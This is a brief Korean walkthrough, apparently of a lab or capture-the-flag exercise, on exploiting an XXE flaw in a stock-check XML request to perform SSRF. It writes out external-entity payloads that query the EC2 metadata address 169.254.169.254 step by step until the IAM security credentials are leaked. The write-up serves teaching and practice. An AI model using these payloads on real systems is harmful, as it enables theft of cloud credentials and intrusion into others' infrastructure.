이번 문제는 XXE 취약점을 활용해 SSRF공격을 하는 것이다.
먼저 페이지의 재고확인 버튼을 눌러보자
xml형식으로 데이터를 가져오는 것을 볼 수 있다.
문제에서는 EC2 메타데이터에서 iam 시크릿 액세스 키를 획득하라 한다.
EC2 = 아마존에서 제공하는 컴퓨터 클라우드
http://169.254.169.254/ = EC2 메타데이터 기본 데이터 url
우선 데이터를 가져오려면 데이터가 존재하는 정확한 경로가 필요하다.
이 문제에는 취약점이 하나 있는데
위 사진처럼 productId에 hello를 넣었더니 에러메시지로 에러가 있는 hello라는 단어가 출력되는 걸 볼 수 있다.
이렇게 에러가 발생한 부분을 노출해 주면 악용될 수 있다.
<! DOCTYPE jh [ <! ENTITY xxe SYSTEM "http://169.254.169.254">]>로 외부 엔티티를 선언해 주고
&xxe;로 외부 엔티티를 참조해 주면
latest가 에러메시지로 출력된다
하지만 우리는 latest라는 문자를 쓴 적이 없다. 그러므로 없어서 문제인 즉, 추가해야 되는 것으로 추측할 수 있다.
url뒤에 추가해 보자
<!DOCTYPE jh [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest">]>
이렇게 계속 추가하다 보니
<!DOCTYPE jh [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
액세스 비밀키를 출력해 낼 수 있다.